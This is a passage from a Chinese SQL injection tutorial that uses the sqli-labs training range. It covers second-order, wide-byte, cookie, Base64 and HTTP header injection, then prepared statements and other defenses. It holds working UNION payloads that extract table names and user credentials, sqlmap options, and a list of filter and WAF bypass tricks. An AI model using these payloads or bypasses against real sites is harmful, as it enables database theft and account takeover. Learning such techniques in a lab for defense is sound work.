06、二次注入
二次注入是将攻击语句写入数据库后,等待其他功能从数据库中调用攻击语句,在其他功能语句拼接的过程中未做有效过滤从而造成sql注入
流程:
攻击者第一次提交恶意输入数据
恶意输入数据被存入数据库中
攻击者二次提交输入
为了响应第二次的输入程序查询数据库取出恶意的输入构造sql语句从而形成二次注入
靶场:sqli-labs-master-24可以去实验
代码分析:
function sqllogin(){
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
这边用户名和密码都做了转义\,转义符\在存入数据库的时候会被还原,这边不存在sql注入
if (isset($_POST['submit']))
{
# Validating the user input........
//$username= $_POST['username'] ;
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
这边也可以看到存在函数转义,所以也不存在注入点
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
修改用户代码的时候获取用户名,没有过滤,之前可以新注册一个admin'#的用户,这里就是二次注入的点
在注册时,是有转义符的,就会将admin'#存储到数据表中
insert into users ( username, password) values("admin\'#", "123")
更新密码执行的语句为:
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='123'
#号后面的语句被注释-最终执行的语句为以下-因此修改的是用户admin的密码
UPDATE users SET PASSWORD='123456' where username='admin'
这样就造就了二次注入
07、宽字节注入
宽字节注入是通过编码绕过后端代码的防御措施,例如:正则过滤和转移函数转义
客户端采用GBK编码格式,数据库对用户输入进行转义\,转义符\的编码为%5c,添加编码%df,组成%df%5c,表达为繁体字連,从而绕过转义符让'逃逸
GB2312、GBK、GB18030、BIG5等都是宽字节,宽字节的安全问题是使ASCII(一字节)变成宽字节
mysql的转移函数:
addslashes,mysql_real_escape_string,mysql_escape_string等
#可以输入show create database 数据库名 查看数据库编码格式
注入的思路:
尝试出注入类型为宽字节注入
构造GBK编码使转义失效,使得’逃逸
查询库名,表名,字段名,然后是数据,结合union查询搞组合拳出击
?id=-1%df%27 union select 1,database(),user() --+ #注出数据库名和用户
?id=-1%df%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),database() --+ #查询表名
?id=-1%df%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,3)),database() --+ #查询users中的字段名
?id=-1%df%27 union select 1,(select username from users limit 7,1),(select password from users limit 7,1) --+ #取出一组数据,取出全部用group_concat(username,password)
代码分析:
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
前端传入参数id,后端利用mysql_real_escape_string()对参数id的值进行转义,数据库的编码格式为GBK为宽字节,转义符\(%5c)为一字节,可以再添加一字节编码(%df)构造GBK编码(%df%5c)使转义符失效,从而可以闭合sql语句中id='$id',使得语句可以执行。
08、Cookie注入
Cookie处存在注入点,后端对Cookie没有过滤,如果用sqlmap去跑的话,需要设置--level 2 --cookie " "
思路:
判断cookie注入的类型:数字还是字符
判断字符型后开始判断是否存在注入点
存在注入点后判断字段数联合union注入
后续就是之前正常的思路了
代码分析:
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
这边看到对cookie没有做任何过滤处理手段,直接从前端接受参数带入数据库查找
09、Base64注入
Base64和其他注入其实差不多,就是多了base64编码和解码,sqlmap去跑的话设置 --tamper base64encode.py --level 2
直接上代码分析:
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo "<br><br><br><b>";
echo '<img src="../images/Less-21.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
$result=mysql_query($sql);
这边发现在接受cookie时,只是简单的base64_decode()函数解码,没有其他的过滤手段,直接代入数据库查询了
10、XFF注入
http头部注入的一种,头部参数X-Forwarded-for代表客户真实ip,修改其值伪造客户端IP,原理和其他注入点一样,换了个方式而已
如果抓包发现没有X-Forwarded-for字段,那就自己添加
如果用sqlmap去跑,需要将抓到的数据包里加入X-Forwarded-for字段后,利用sqlmap -r 去读取该数据包
可以利用这个注入点联立union进行数据的爆破
11、User-Agent注入
http头部注入的另一种,在字段User-Agent处存在注入,可以尝试判断时哪种类型的注入方式
当使用sqlmap工具的时候要在数据包中加入User-Agent:*
代码分析:
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
可以看到User-Agent,账号密码处都有过滤机制,在User-Agen处没有过滤机制,因为数据库的查询结果不会输出到页面,而报错可以输出,所以使用报错注入。
12、Referer注入
referer是HTTP请求头Header的一部分。referer会告诉服务器该请求是从哪里来的,服务器基于可以获得一些信息处理.。同时,referer注入也是http头部注入的一种。
它的原理其实和User-Agent的原理是一样的在这就不赘述了。
SQL注入防御
1、预编译
最佳方式使用预编译语句,绑定变量,预编译可以减少编译次数和连接次数,提高数据库效率。
注:预先编译好,固定sql语句的语法结构,不论用户输入什么,sql语句的固定形式不会更改,只会当作字符串参数输入,不能对固定sql语句语法结构进行更改。
例如:
<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
$stmt->execute([$_GET['name']]);
foreach ($stmt as $row) {
print_r($row);
}
?>
2、检查数据类型
这种方式是数字型注入的极好防护方式,在java中可以忽略数字类型注入,因为需要声明参数类型,在php、asp中没有强调要求处理数据类型,故会自动判断数据类型,从而造成sql注入。
3、过滤危险字符
利用正则表达式匹配危险字符,例如:union、sleep、load_file等,如果匹配到,则退出
4、使用安全函数
在接收用户输入时添加安全函数。
例如:
php安全函数:
addslashes 返回字符串,该字符串为了数据库查询语句等的需要在某些特殊字符前加上了反斜线。这些特殊字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。
htmlspecialchars把HTML中的几个特殊字符转义成HTML Entity(可以预防XSS)
& (AND) => &” (双引号) => " (当ENT_NOQUOTES没有设置的时候)‘ (单引号) => ' (当ENT_QUOTES设置)< (小于号) => <> (大于号) => >
mysql_real_escape_string会 调用MySQL的库函数mysql_real_escape_string,对(\x00), (\n), (\r), (), (‘), (\x1a)进行转义,即在前面添加反斜杠(),预防SQL注入。
SQL绕过:
1、绕过空格、引号、逗号、比较符号、注释符号、等于号等
在注入时空格不能使用,绕过空格:
注释符绕过空格,注释符/**/代替空格
select/**/user,passwd/**/from/**/usrs;
采用括号代替空格,时间盲注用的多
sleep(ascii(mid(database()from(1)for(1)))=109)
%a0代替空格
绕过引号:
十六进制绕过
select group_concat(table_name) from information_schema.tables where table_schema='security';
select group_concat(table_name) from information_schema.tables where table_schema=2773656375726974792720
绕过逗号:
from for绕过
select substr(database(),1,1);
select substr(database() from 1 for 1);
offset绕过
select * from users limit 0,1;
select * from users limit 0 offset 1;
绕过比较符号:
select * from usrs where id=1 and ascii(substr(database(),0,1))>64;
select * from usrs where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;
greatest()返回最大值,least()返回最小值
绕过注释符号 - 注释符号达到闭合效果,使用代码闭合符号代替注释符,例如“
绕过等于号 = 使用like,rlike,regexp等
2、绕过关键字
关键字有:union、select、where等
使用注释符绕过:
常用注释符
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
sel/**/ect * from users un/**/ion select passwd from emils wh/**/ere limit 0,1;
使用大小写绕过:
select * from users UnIon select passwd from emils WheRe limit 0,1;
使用内联注释绕过:
select * from users /*!union*/ select passwd from emils /*!where*/ limit 0,1;
使用双写绕过:
select * from users unUnionion select passwd from emils where limit 0,1;
可以通过所学的知识去sqli-labs-master靶场里实验,只有不断地去实战才能掌握所学的知识!